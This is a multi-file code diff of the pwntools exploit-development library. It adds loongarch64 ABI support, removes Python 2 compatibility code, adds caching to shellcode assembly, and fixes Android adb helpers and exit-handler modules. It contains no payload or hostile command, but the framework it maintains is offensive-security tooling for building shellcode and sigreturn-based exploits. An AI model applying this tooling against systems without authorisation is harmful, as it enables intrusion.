@@ -109,6 +108,7 @@ class ABI(object):
(64, 'aarch64', 'linux'): linux_aarch64_sigreturn,
(32, 'riscv32', 'linux'): linux_riscv32_sigreturn,
(64, 'riscv64', 'linux'): linux_riscv64_sigreturn,
(64, 'loongarch64', 'linux'): linux_loongarch64_sigreturn,
(32, 'i386', 'freebsd'): freebsd_i386_sigreturn,
(64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,
(32, 'arm', 'freebsd'): freebsd_arm_sigreturn,
@@ -124,6 +124,10 @@ class SyscallABI(ABI):
The syscall ABI treats the syscall number as the zeroth argument,
which must be loaded into the specified register.
"""
#: Register which should be loaded with the syscall number.
syscall_register: str
def __init__(self, *a, **kw):
super(SyscallABI, self).__init__(*a, **kw)
self.syscall_register = self.register_arguments[0]
@@ -142,12 +146,13 @@ class SigreturnABI(SyscallABI):
linux_i386 = ABI('esp', [], 4, 0)
linux_amd64 = ABI('rsp', ['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
linux_arm = ABI('sp', ['r0', 'r1', 'r2', 'r3'], 8, 0)
linux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3'], 16, 0)
linux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7'], 16, 0)
linux_mips = ABI('$sp', ['$a0','$a1','$a2','$a3'], 4, 0)
linux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
linux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
linux_riscv32 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
linux_riscv64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
linux_loongarch64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
sysv_i386 = linux_i386
sysv_amd64 = linux_amd64
@@ -158,6 +163,7 @@ sysv_ppc = linux_ppc
sysv_ppc64 = linux_ppc64
sysv_riscv32 = linux_riscv32
sysv_riscv64 = linux_riscv64
sysv_loongarch64 = linux_loongarch64
# Docs: https://man7.org/linux/man-pages/man2/syscall.2.html
linux_i386_syscall = SyscallABI('esp', ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
@@ -169,6 +175,7 @@ linux_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8',
linux_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8'], 8, 0)
linux_riscv32_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 4, 0)
linux_riscv64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 8, 0)
linux_loongarch64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6'], 8, 0)
linux_i386_sigreturn = SigreturnABI('esp', ['eax'], 4, 0)
linux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 8, 0)
@@ -176,6 +183,7 @@ linux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)
linux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)
linux_riscv32_sigreturn = SigreturnABI('sp', ['a7'], 4, 0)
linux_riscv64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
linux_loongarch64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
sysv_i386_sigreturn = linux_i386_sigreturn
sysv_amd64_sigreturn = linux_amd64_sigreturn
@@ -183,6 +191,7 @@ sysv_arm_sigreturn = linux_arm_sigreturn
sysv_aarch64_sigreturn = linux_aarch64_sigreturn
sysv_riscv32_sigreturn = linux_riscv32_sigreturn
sysv_riscv64_sigreturn = linux_riscv64_sigreturn
sysv_loongarch64_sigreturn = linux_loongarch64_sigreturn
freebsd_i386 = sysv_i386
freebsd_amd64 = sysv_amd64
-2
View File
@@ -1,5 +1,3 @@
from __future__ import absolute_import
from pwnlib.adb.adb import *
from pwnlib.adb.protocol import Client
from pwnlib.adb.bootimg import BootImage
+55 -34
View File
@@ -45,24 +45,21 @@ the :mod:`pwnlib.adb` module.
adb.write('/data/local/tmp/foo', 'my data')
"""
from __future__ import absolute_import
from __future__ import division
import datetime
import functools
import glob
import logging
import os
import re
import shutil
import six
import stat
import tempfile
import time
import dateutil.parser
from pwnlib import atexit
from pwnlib import tubes
from pwnlib.tubes.remote import remote
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.device import Device
@@ -85,7 +82,7 @@ def adb(argv, *a, **kw):
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
b'Linux\n'
"""
if isinstance(argv, (bytes, six.text_type)):
if isinstance(argv, (bytes, str)):
argv = [argv]
log.debug("$ " + ' '.join(context.adb + argv))
@@ -123,7 +120,7 @@ def current_device(any=False):
>>> device = adb.current_device(any=True)
>>> device # doctest: +ELLIPSIS
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_...phone_...', model='...', device='generic...')
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_...phone..._...', model='...', device='...')
>>> device.port
'emulator'
"""
@@ -259,7 +256,7 @@ class AdbDevice(Device):
>>> device.os
'android'
>>> device.product # doctest: +ELLIPSIS
'sdk_...phone_...'
'sdk_...phone..._...'
>>> device.serial
'emulator-5554'
"""
@@ -320,11 +317,12 @@ class AdbDevice(Device):
port = int(port)
try:
with remote('localhost', port, level='error') as r:
r.recvuntil('OK')
r.recvuntil(b'OK')
r.recvline() # Rest of the line
r.sendline('avd name')
self.avd = r.recvline().strip()
except:
r.sendline(b'avd name')
self._avd = r.recvlineS().strip()
except (OSError, EOFError, PwnlibException):
# ADB device disconnected or not responding, skip AVD name lookup
pass
self._initialized = True
@@ -366,7 +364,7 @@ class AdbDevice(Device):
return AdbDevice(serial, type, **kwargs)
def __wrapped(self, function):
"""Wrapps a callable in a scope which selects the current device."""
"""Wraps a callable in a scope which selects the current device."""
@functools.wraps(function)
def wrapper(*a, **kw):
with context.local(device=self):
@@ -374,7 +372,7 @@ class AdbDevice(Device):
return wrapper
def __getattr__(self, name):
"""Provides scoped access to ``adb`` module propertise, in the context
"""Provides scoped access to ``adb`` module properties, in the context
of this device.
.. doctest::
@@ -838,7 +836,7 @@ def process(argv, *a, **kw):
>>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
Linux version ...
"""
if isinstance(argv, (bytes, six.text_type)):
if isinstance(argv, (bytes, str)):
argv = [argv]
message = "Starting %s process %r" % ('Android', argv[0])
@@ -880,7 +878,7 @@ def which(name, all = False, *a, **kw):
>>> adb.which('sh')
'/system/bin/sh'
>>> adb.which('sh', all=True)
['/system/bin/sh']
['/system/bin/sh', '/vendor/bin/sh']
>>> adb.which('foobar') is None
True
@@ -888,15 +886,15 @@ def which(name, all = False, *a, **kw):
[]
"""
# Unfortunately, there is no native 'which' on many phones.
which_cmd = '''
which_cmd = fr'''
(IFS=:
for directory in $PATH; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
echo -n "$directory/{name}\x00";
done
)
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
'''.format(name=name)
[ -x "{name}" ] && echo -n "$PWD/{name}\x00"
'''
which_cmd = which_cmd.strip()
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
@@ -988,7 +986,7 @@ def proc_exe(pid):
:skipif: skip_android
>>> adb.proc_exe(1)
b'/init'
b'/system/bin/init'
"""
with context.quiet:
io = process(['realpath','/proc/%d/exe' % pid])
@@ -1119,7 +1117,7 @@ def unlock_bootloader():
if 'unlocked: yes' not in unlocked:
log.error("Unlock failed")
class Kernel(object):
class Kernel:
_kallsyms = None
@property
@@ -1194,7 +1192,7 @@ class Kernel(object):
'Nexus 7': 'oem uart-on',
}
with log.waitfor('Enabling kernel UART'):
with log.waitfor('Enabling kernel UART') as w:
if model not in known_commands:
log.error("Device UART is unsupported.")
@@ -1229,7 +1227,7 @@ class Kernel(object):
kernel = Kernel()
class Property(object):
class Property:
def __init__(self, name=None):
# Need to avoid overloaded setattr() so we go through __dict__
self.__dict__['_name'] = name
@@ -1263,7 +1261,7 @@ class Property(object):
>>> adb.properties.ro.build.version.sdk == "24"
True
"""
if isinstance(other, six.string_types):
if isinstance(other, str):
return str(self) == other
return super(Property, self).__eq__(other)
@@ -1275,8 +1273,32 @@ properties = Property()
def _build_date():
"""Returns the build date in the form YYYY-MM-DD as a string"""
# Use ro.build.date.utc (integer epoch seconds) which is set by the
# AOSP build system and available on all standard Android devices.
# This avoids ro.build.date which is locale-dependent and can contain
# non-ASCII characters that dateutil cannot parse. See #2513.
utc = getprop('ro.build.date.utc')
if utc and utc.strip().isdigit():
try:
as_datetime = datetime.datetime.fromtimestamp(int(utc.strip()), tz=datetime.timezone.utc)
return as_datetime.strftime('%Y-%b-%d')
except (OSError, OverflowError, ValueError):
pass
# Fallback for non-standard builds missing ro.build.date.utc.
as_string = getprop('ro.build.date')
as_datetime = dateutil.parser.parse(as_string)
if not as_string:
return ''
try:
import dateutil.parser
except ImportError:
log.exception("dateutil is required to parse ro.build.date since ro.build.date.utc is missing. Please install it with 'pip install python-dateutil'")
try:
as_datetime = dateutil.parser.parse(as_string)
except (ValueError, OverflowError):
return as_string
return as_datetime.strftime('%Y-%b-%d')
def find_ndk_project_root(source):
@@ -1365,7 +1387,7 @@ def compile(source):
>>> filename = adb.compile(temp)
>>> sent = adb.push(filename, "/data/local/tmp")
>>> adb.process(sent).recvall() # doctest: +ELLIPSIS
b'... /system/lib64/libc.so\n...'
b'... /system/lib64/libc++.so\n...'
"""
ndk_build = misc.which('ndk-build')
@@ -1424,7 +1446,7 @@ def compile(source):
return output[0]
class Partition(object):
class Partition:
def __init__(self, path, name, blocks=0):
self.path = path
self.name = name
@@ -1476,7 +1498,7 @@ def readlink(path):
return path.decode()
class Partitions(object):
class Partitions:
"""Enable access to partitions
Example:
@@ -1555,7 +1577,7 @@ def install(apk, *arguments):
This is a wrapper around 'pm install', which backs 'adb install'.
Arguments:
apk(str): Path to the APK to intall (e.g. ``'foo.apk'``)
apk(str): Path to the APK to install (e.g. ``'foo.apk'``)
arguments: Supplementary arguments to 'pm install',
e.g. ``'-l', '-g'``.
"""
@@ -1563,9 +1585,9 @@ def install(apk, *arguments):
log.error("APK must have .apk extension")
basename = os.path.basename(apk)
target_path = '/data/local/tmp/{}.apk'.format(basename)
target_path = f'/data/local/tmp/{basename}.apk'
with log.progress("Installing APK {}".format(basename)) as p:
with log.progress(f"Installing APK {basename}") as p:
with context.quiet:
p.status('Copying APK to device')
push(apk, target_path)
@@ -1586,7 +1608,7 @@ def uninstall(package, *arguments):
package(str): Name of the package to uninstall (e.g. ``'com.foo.MyPackage'``)
arguments: Supplementary arguments to ``'pm install'``, e.g. ``'-k'``.
"""
with log.progress("Uninstalling package {}".format(package)):
with log.progress(f"Uninstalling package {package}"):
with context.quiet:
return process(['pm','uninstall',package] + list(arguments)).recvall()
@@ -1604,4 +1626,3 @@ def version():
"""Returns rthe platform version as a tuple."""
prop = getprop('ro.build.version.release')
return [int(v) for v in prop.split('.')]
+1 -3
View File
@@ -1,5 +1,3 @@
from __future__ import division
import ctypes
BOOT_MAGIC = b"ANDROID!"
@@ -35,7 +33,7 @@ class boot_img_hdr(ctypes.Structure):
('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),
]
class BootImage(object):
class BootImage:
def __init__(self, data):
self.data = data
self.header = boot_img_hdr.from_buffer_copy(data)
+2 -6
View File
@@ -1,10 +1,6 @@
from __future__ import unicode_literals
from __future__ import division
import ctypes
import io
import os
import six
import sys
from pwnlib.log import getLogger
@@ -27,7 +23,7 @@ class bootloader_images_header(ctypes.Structure):
BOOTLDR_MAGIC = b'BOOTLDR!'
class BootloaderImage(object):
class BootloaderImage:
def __init__(self, data):
"""Android Bootloader image
@@ -65,7 +61,7 @@ class BootloaderImage(object):
Returns:
Contents of the image.
"""
if isinstance(index_or_name, six.integer_types):
if isinstance(index_or_name, int):
index = index_or_name
else:
for i in range(len(self.img_info)):
+10 -4
View File
@@ -17,7 +17,10 @@ The easiest example is to enable more verbose debugging. Just set ``DEBUG``.
These arguments are automatically extracted, regardless of their name, and
exposed via :mod:`pwnlib.args.args`, which is exposed as the global variable
:data:`args`. Arguments which ``pwntools`` reserves internally are not exposed
this way.
this way. These reserved arguments (such as ``DEBUG`` and ``NOASLR``) instead
adjust :data:`pwnlib.context.context`, so their effect is read from ``context``
(e.g. ``context.log_level``, ``context.aslr``) rather than from ``args`` --
``args.NOASLR`` is always the empty string.
.. code-block:: bash
@@ -48,9 +51,6 @@ The full list of supported "magic arguments" and their effects are listed
below.
"""
from __future__ import absolute_import
from __future__ import division
import collections
import logging
import os
@@ -159,6 +159,11 @@ def STDERR(v):
"""Sends logging to ``stderr`` by default, instead of ``stdout``"""
context.log_console = sys.stderr
def LOCAL_LIBCDB(v):
"""Sets path to local libc-database via ``context.local_libcdb``, e.g.
``LOCAL_LIBCDB='/path/to/libc-databse'``"""
context.local_libcdb = v
hooks = {
'LOG_LEVEL': LOG_LEVEL,
'LOG_FILE': LOG_FILE,
@@ -170,6 +175,7 @@ hooks = {
'NOASLR': NOASLR,
'NOPTRACE': NOPTRACE,
'STDERR': STDERR,
'LOCAL_LIBCDB': LOCAL_LIBCDB,
}
def initialize():
+108 -31
View File
@@ -1,4 +1,3 @@
# -*- coding: utf-8 -*-
r"""
Utilities for assembling and disassembling code.
@@ -39,9 +38,6 @@ Disassembly
' 0: b8 0b 00 00 00 mov eax, 0xb'
"""
from __future__ import absolute_import
from __future__ import division
import errno
import os
import platform
@@ -59,6 +55,10 @@ from pwnlib import shellcraft
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.fiddling import hexstr
from pwnlib.util.hashes import sha1sumhex
from pwnlib.util.packing import _encode
from pwnlib.version import __version__
log = getLogger(__name__)
@@ -130,11 +130,10 @@ def print_binutils_instructions(util, context):
if packages:
instructions = '$ sudo apt-get install %s' % packages[0]
log.error("""
Could not find %(util)r installed for %(context)s
log.error(f"""\
Could not find {util!r} installed for {context}
Try installing binutils for this architecture:
%(instructions)s
""".strip() % locals())
{instructions}""")
def check_binutils_version(util):
@@ -167,6 +166,8 @@ def which_binutils(util, check_version=False):
'.../bin/arm-...-as'
>>> which_binutils('as', arch='powerpc') #doctest: +ELLIPSIS
'.../bin/powerpc...-as'
>>> which_binutils('as', arch='mips', endianness='little') #doctest: +ELLIPSIS
'.../bin/mipsel...-as'
>>> which_binutils('as', arch='msp430') #doctest: +SKIP
...
Traceback (most recent call last):
@@ -175,28 +176,45 @@ def which_binutils(util, check_version=False):
"""
arch = context.arch
# Handle endianness-specific naming for mips/mips64
arch = {
('mips', 'little'): 'mipsel',
('mips64', 'little'): 'mips64el',
}.get((arch, context.endianness), arch)
# Fix up pwntools vs Debian triplet naming, and account
# for 'thumb' being its own pwntools architecture.
arches = [arch] + {
aliases = {
'thumb': ['arm', 'aarch64'],
'i386': ['x86_64', 'amd64'],
'i686': ['x86_64', 'amd64'],
'amd64': ['x86_64', 'i386'],
'mips64': ['mips'],
'powerpc64': ['powerpc'],
'sparc64': ['sparc'],
'riscv32': ['riscv32', 'riscv64', 'riscv'],
'riscv64': ['riscv64', 'riscv32', 'riscv'],
'amd64': ['x86_64'],
'loongarch64': ['loong64'],
}.get(arch, [])
# Some binutils can support multiple architectures. Try them as fallbacks.
fallback_arches = {
'i386': ['x86_64', 'amd64'],
'amd64': ['i386'],
'arm': ['aarch64'],
'mips': ['mipsel'],
'mipsel': ['mips'],
'mips64': ['mips64el', 'mips', 'mipsel'],
'mips64el': ['mips64', 'mipsel', 'mips'],
'powerpc64': ['powerpc'],
'sparc64': ['sparc'],
'riscv32': ['riscv64', 'riscv'],
'riscv64': ['riscv32', 'riscv'],
}.get(arch, [])
arches = [arch] + aliases + fallback_arches
# If one of the candidate architectures matches the native
# architecture, use that as a last resort.
# architecture, use that as a last resort before trying fallbacks.
machine = platform.machine()
machine = 'i386' if machine == 'i686' else machine
try:
with context.local(arch = machine):
if context.arch in arches:
arches.append(None)
arches = [arch] + aliases + [None] + fallback_arches
except AttributeError:
log.warn_once("Your local binutils won't be used because architecture %r is not supported." % machine)
@@ -206,6 +224,11 @@ def which_binutils(util, check_version=False):
if platform.system() == 'Darwin':
utils = ['g'+util, util]
if platform.system() == 'Windows':
utils = [util + '.exe']
# Try the explicit tools for the target architecture first,
# then the native one optionally, then fallbacks.
for arch in arches:
for gutil in utils:
# e.g. objdump
@@ -220,7 +243,7 @@ def which_binutils(util, check_version=False):
'%s-%s' % (arch, gutil)]
for pattern in patterns:
for dir in environ['PATH'].split(':'):
for dir in environ['PATH'].split(os.pathsep):
for res in sorted(glob(path.join(dir, pattern))):
if check_version:
ver = check_binutils_version(res)
@@ -230,7 +253,7 @@ def which_binutils(util, check_version=False):
# No dice!
print_binutils_instructions(util, context)
util_versions = defaultdict(tuple)
util_versions: defaultdict[str, tuple[int, ...]] = defaultdict(tuple)
def _assembler():
gas, version = which_binutils('as', check_version=True)
@@ -267,8 +290,11 @@ def _assembler():
'ia64': [gas, '-m%ce' % context.endianness[0]],
# riscv64-unknown-elf-as supports riscv32 as well as riscv64
'riscv32': [gas, '-march=rv32gc', '-mabi=ilp32'],
'riscv64': [gas, '-march=rv64gc', '-mabi=lp64'],
'riscv32': [gas, '-march=rv32gv_zba_zbb_zbs', '-mabi=ilp32'],
'riscv64': [gas, '-march=rv64gv_zba_zbb_zbs', '-mabi=lp64'],
# loongarch64 supports none of -64, -EB, -EL or -march
'loongarch64' : [gas],
}
assembler = assemblers.get(context.arch, [gas])
@@ -370,6 +396,7 @@ def _bfdname():
'powerpc64' : 'elf64-powerpc',
'riscv32' : 'elf%d-%sriscv' % (context.bits, E),
'riscv64' : 'elf%d-%sriscv' % (context.bits, E),
'loongarch64' : 'elf%d-loongarch' % context.bits,
'vax' : 'elf32-vax',
's390' : 'elf%d-s390' % context.bits,
'sparc' : 'elf32-sparc',
@@ -394,6 +421,7 @@ def _bfdarch():
'thumb': 'arm',
'riscv32': 'riscv',
'riscv64': 'riscv',
'loongarch64': 'loongarch64'
}
if arch in convert:
@@ -457,15 +485,20 @@ def cpp(shellcode):
>>> cpp("SYS_setresuid", os = "freebsd")
'311\n'
"""
if platform.system() == 'Windows':
cpp = which_binutils('cpp')
else:
cpp = 'cpp'
code = _include_header() + shellcode
cmd = [
'cpp',
cpp,
'-Wno-unused-command-line-argument',
'-C',
'-nostdinc',
'-undef',
'-P',
'-I' + _incdir,
'/dev/stdin'
]
return _run(cmd, code).strip('\n').rstrip() + '\n'
@@ -607,8 +640,7 @@ def make_elf(data,
assembler = _assembler()
linker = _linker()
code = _arch_header()
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
code += '\n'
code += f'.string {hexstr(data)}\n'
log.debug("Building ELF:\n" + code)
@@ -676,7 +708,7 @@ def make_macho(data, is_shellcode=False):
if is_shellcode:
code += cpp(data)
else:
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
code += f'.string {hexstr(data)}\n'
log.debug('Assembling\n%s' % code)
@@ -751,8 +783,23 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
b'0@*\x00'
>>> asm("la %r0, 42", arch = 's390', bits=64)
b'A\x00\x00*'
The output is cached:
>>> start = time.time()
>>> asm("lea rax, [rip+0]", arch = 'amd64', cache_dir = None) # force uncached time
b'H\x8d\x05\x00\x00\x00\x00'
>>> uncached_time = time.time() - start
>>> asm("lea rax, [rip+0]", arch = 'amd64') # cache it
b'H\x8d\x05\x00\x00\x00\x00'
>>> start = time.time()
>>> asm("lea rax, [rip+0]", arch = 'amd64')
b'H\x8d\x05\x00\x00\x00\x00'
>>> cached_time = time.time() - start
>>> uncached_time > cached_time
True
"""
result = ''
result = b''
assembler = _assembler()
linker = _linker()
@@ -763,6 +810,30 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
log.debug('Assembling\n%s' % code)
cache_file = None
if context.cache_dir:
cache_dir = os.path.join(context.cache_dir, 'asm-cache')
if not os.path.isdir(cache_dir):
os.makedirs(cache_dir)
# Include the context in the hash in addition to the shellcode
hash_params = f'{vma}_{extract}_{shared}_{__version__}'
fingerprint_params = _encode(code) + _encode(hash_params) + _encode(' '.join(assembler)) + _encode(' '.join(linker)) + _encode(' '.join(objcopy))
asm_hash = sha1sumhex(fingerprint_params)
cache_file = os.path.join(cache_dir, asm_hash)
if os.path.exists(cache_file):
log.debug('Using cached assembly output from %r', cache_file)
if extract:
with open(cache_file, 'rb') as f:
return f.read()
# Create a temporary copy of the cached file to avoid modification.
tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-')
atexit.register(shutil.rmtree, tmpdir)
step3 = os.path.join(tmpdir, 'step3')
shutil.copy(cache_file, step3)
return step3
tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-')
step1 = path.join(tmpdir, 'step1')
step2 = path.join(tmpdir, 'step2')
@@ -805,11 +876,13 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
universal_newlines = True
).strip()
if extract and len(relocs.split('\n')) > 1:
log.error('Shellcode contains relocations:\n%s' % relocs)
log.warn('Shellcode contains relocations:\n%s' % relocs)
else:
shutil.copy(step2, step3)
if not extract:
if cache_file is not None:
shutil.copy(step3, cache_file)
return step3
_run(objcopy + [step3, step4])
@@ -823,6 +896,10 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
else:
atexit.register(lambda: shutil.rmtree(tmpdir))
if cache_file is not None and result != b'':
with open(cache_file, 'wb') as f:
f.write(result)
return result
@LocalContext
@@ -855,8 +932,8 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
0: b8 17 00 00 00 mov eax, 0x17
>>> print(disasm(unhex('48c7c017000000'), arch = 'amd64'))
0: 48 c7 c0 17 00 00 00 mov rax, 0x17
>>> print(disasm(unhex('04001fe552009000'), arch = 'arm'))
0: e51f0004 ldr r0, [pc, #-4] ; 0x4
>>> print(disasm(unhex('04001fe552009000'), arch = 'arm')) # doctest: +ELLIPSIS
0: e51f0004 ldr r0, [pc, #-4] ...
4: 00900052 addseq r0, r0, r2, asr r0
>>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))
0: f04f 0005 mov.w r0, #5
+32 -16
View File
@@ -2,12 +2,11 @@
Analogous to atexit, this module allows the programmer to register functions to
be run if an unhandled exception occurs.
"""
from __future__ import absolute_import
from __future__ import division
import sys
import threading
import traceback
from types import TracebackType
from typing import Any, Callable, ParamSpec, TypeVar
from pwnlib.context import context
@@ -15,9 +14,12 @@ __all__ = ['register', 'unregister']
_lock = threading.Lock()
_ident = 0
_handlers = {}
_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
def register(func, *args, **kwargs):
_P = ParamSpec('_P')
_R = TypeVar('_R')
def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
"""register(func, *args, **kwargs)
Registers a function to be called when an unhandled exception occurs. The
@@ -43,10 +45,24 @@ def register(func, *args, **kwargs):
actual exception-handler. The exception-handler can then be unregistered
with::
atexception.unregister(handler)
ident = atexception.register(handler)
atexception.unregister(ident)
This function is thread safe.
>>> def handler(a, b):
... print("Exception handler", a, b)
>>> ident = atexception.register(handler, 13, 37)
>>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
Traceback (most recent call last):
...
Exception: Unexpected error
Exception handler 13 37
>>> atexception.unregister(ident)
>>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
Traceback (most recent call last):
...
Exception: Unexpected error
"""
global _ident
with _lock:
@@ -55,16 +71,16 @@ def register(func, *args, **kwargs):
_handlers[ident] = (func, args, kwargs, vars(context))
return ident
def unregister(func):
"""unregister(func)
def unregister(ident: int) -> None:
"""unregister(ident)
Remove `func` from the collection of registered functions. If `func` isn't
registered this is a no-op.
Remove the exception-handler identified by `ident` from the list of registered
handlers. If `ident` isn't registered this is a no-op.
"""
if func in _handlers:
del _handlers[func]
if ident in _handlers:
del _handlers[ident]
def _run_handlers():
def _run_handlers() -> None:
"""_run_handlers()
Run registered handlers. They run in the reverse order of which they were
@@ -86,12 +102,12 @@ def _run_handlers():
# extract the current exception and rewind the traceback to where it
# originated
typ, val, tb = sys.exc_info()
traceback.print_exception(typ, val, tb.tb_next)
traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
# we rely on the existing excepthook to print exceptions
_oldhook = getattr(sys, 'excepthook', None)
def _newhook(typ, val, tb):
def _newhook(typ: type[BaseException], val: BaseException, tb: TracebackType | None) -> None:
"""_newhook(typ, val, tb)
Our excepthook replacement. First the original hook is called to print the
@@ -99,7 +115,7 @@ def _newhook(typ, val, tb):
"""
if _oldhook:
_oldhook(typ, val, tb)
if _run_handlers:
if _handlers:
_run_handlers()
sys.excepthook = _newhook
+12 -18
View File
@@ -7,13 +7,11 @@ this replacement module also defines :func:`unregister`.
This module also fixes a the issue that exceptions raised by an exit handler is
printed twice when the standard :mod:`atexit` is used.
"""
from __future__ import absolute_import
from __future__ import division
import sys
import threading
import traceback
import atexit as std_atexit
from typing import Any, Callable, ParamSpec, TypeVar
from pwnlib.context import context
@@ -21,9 +19,12 @@ __all__ = ['register', 'unregister']
_lock = threading.Lock()
_ident = 0
_handlers = {}
_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
def register(func, *args, **kwargs):
_P = ParamSpec('_P')
_R = TypeVar('_R')
def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
"""register(func, *args, **kwargs)
Registers a function to be called on program termination. The function will
@@ -47,7 +48,8 @@ def register(func, *args, **kwargs):
Notice however that this will bind ``handler`` to the identifier and not the
actual exit-handler. The exit-handler can then be unregistered with::
atexit.unregister(handler)
ident = atexit.register(handler)
atexit.unregister(ident)
This function is thread safe.
@@ -59,7 +61,7 @@ def register(func, *args, **kwargs):
_handlers[ident] = (func, args, kwargs, vars(context))
return ident
def unregister(ident):
def unregister(ident: int) -> None:
"""unregister(ident)
Remove the exit-handler identified by `ident` from the list of registered
@@ -68,7 +70,7 @@ def unregister(ident):
if ident in _handlers:
del _handlers[ident]
def _run_handlers():
def _run_handlers() -> None:
"""_run_handlers()
Run registered exit-handlers. They run in the reverse order of which they
@@ -90,14 +92,6 @@ def _run_handlers():
# extract the current exception and rewind the traceback to where it
# originated
typ, val, tb = sys.exc_info()
traceback.print_exception(typ, val, tb.tb_next)
# if there's already an exitfunc registered be sure to run that too
if hasattr(sys, "exitfunc"):
register(sys.exitfunc)
if sys.version_info[0] < 3:
sys.exitfunc = _run_handlers
else:
std_atexit.register(_run_handlers)
traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
std_atexit.register(_run_handlers)
+3 -5
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -79,7 +76,8 @@ parser.add_argument(
parser.add_argument(
'-e',
'--encoder',
help="Specific encoder to use"
metavar='X',
help="Compatibility flag, ignored"
)
parser.add_argument(
@@ -137,4 +135,4 @@ def main(args):
args.output.write(b'\n')
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+7 -9
View File
@@ -1,10 +1,7 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
from pwnlib.elf import ELF
from pwn import *
from pwnlib.commandline import common
parser = common.parser_commands.add_parser(
@@ -15,7 +12,6 @@ parser = common.parser_commands.add_parser(
parser.add_argument(
'elf',
nargs='*',
type=argparse.FileType('rb'),
help='Files to check'
)
parser.add_argument(
@@ -23,19 +19,21 @@ parser.add_argument(
nargs='*',
dest='elf2',
metavar='elf',
type=argparse.FileType('rb'),
help='File to check (for compatibility with checksec.sh)'
)
def main(args):
files = args.elf or args.elf2 or []
files = args.elf or args.elf2 or []
if not files:
parser.print_usage()
return
for f in files:
e = ELF(f.name)
try:
e = ELF(f)
except Exception as e:
print(f"{f}: {e}")
if __name__ == '__main__':
common.main(__file__)
common.main(__file__, main)
+20 -3
View File
@@ -25,8 +25,25 @@ parser = argparse.ArgumentParser(description='Pwntools Command-line Interface',
prog='pwn')
parser_commands = parser.add_subparsers(dest='command')
def main(file=sys.argv[0]):
import pwnlib.commandline.main
def main(file=sys.argv[0], command_main=None):
name = os.path.splitext(os.path.basename(file))[0]
if command_main is None:
import importlib
command_main = importlib.import_module('pwnlib.commandline.%s' % name).main
sys.argv.insert(1, name)
pwnlib.commandline.main.main()
entrypoint({name: command_main})
def deprecated_main():
file=sys.argv[0]
name = os.path.splitext(os.path.basename(file))[0]
import warnings
warnings.warn("The '%s' command is deprecated and will be removed in a future version. Please use 'pwn %s' instead." % (name, name), DeprecationWarning, stacklevel=2)
main(file)
def entrypoint(commands):
if len(sys.argv) < 2:
parser.print_usage()
sys.exit()
args = parser.parse_args()
with context.local(log_console = sys.stderr):
commands[args.command](args)
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import functools
import re
@@ -133,4 +130,4 @@ def main(args):
print('(%s) == %s' % (' | '.join(k for v, k in good), args.constant))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+5 -12
View File
@@ -1,8 +1,3 @@
from __future__ import absolute_import
from __future__ import division
